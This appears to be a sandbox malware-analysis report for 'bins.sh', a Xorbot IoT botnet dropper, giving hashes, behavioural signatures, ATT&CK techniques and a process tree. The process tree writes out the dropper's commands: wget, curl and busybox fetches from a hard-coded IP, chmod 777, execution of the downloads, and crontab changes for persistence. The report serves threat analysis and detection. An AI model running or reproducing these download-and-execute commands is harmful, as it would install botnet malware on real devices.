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Analysis
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max time kernel
149s -
max time network
160s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
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submitted
28/02/2025, 12:22
General
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Target
bins.sh
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Size
10KB
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MD5
6d5db893b3366e9b599c283095502209
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SHA1
20bb6748cb464f266c5d2d9c823902992608268f
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SHA256
0fd5bcfd27d9e8c93debe59a1730b63f457b08ffcdc63cb99f403cae0a2a43c4
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SHA512
45f4e7d8a98a99afa62b6cb40a23cf17a1f7092fa2ae5d73ec70ee10484cbb7c2c4f99c8d78583d66818b993c8dba10403e372929a16f59b418982dea1c58402
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SSDEEP
96:T5p4I7ZprzE5FJM0Rl8rLNfSMgZeTy4U83SuuhlnzQMsnyI7ZgdurzE5FZ60Rl8h:T5p41M5f9U83Suuhln07LU83Su4hlnY
Malware Config
Signatures
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Detects Xorbot 2 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (2142) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 3 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 4 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 8 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵
- File and Directory Permissions Modification
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/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F./coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵
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/bin/rmrm coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵
- File and Directory Permissions Modification
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/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74./hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X2⤵
- Checks CPU configuration
- Reads runtime system information
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X2⤵
- File and Directory Permissions Modification
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/tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X./6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X2⤵
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/bin/rmrm 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY2⤵
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/usr/bin/curlcurl -O http://37.44.238.88/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY2⤵
- Checks CPU configuration
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
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Downloads
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Filesize
28KB
MD56c45c1ea330ecfe36337c6e69bf84c7c
SHA109fc43238dc5e177efd2373efc2cfe303dc43840
SHA2567eeeac04f1f5b35b6257189de0e43866ba9686bf37ed9b12ac34d5a73899d1d3
SHA512935ec4338a12d6e3cf27b98091117473056a74287f4ae2e515bd75dc2ef18c70b5401e47b6947b6f368a86d22aaa6037b52ba95e6256747b4e8fc2211e4c2526
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
210B
MD522cefc5d969ce472e20772bab4f137a1
SHA18e2b520d79da35fdc5880706da647f19c13f6504
SHA256c6c82247c6e733669be3c157d4c6a7141c705ec2f1f72b109427788b619e8363
SHA512afafa5ab33db8c73dd17ec9f45de49516dda47ebbe03322f1c8024b3bd1ffd933b977ee1c9364e946ed18051164a63c50025b63d6af0cfcf77e36e629ce2ad80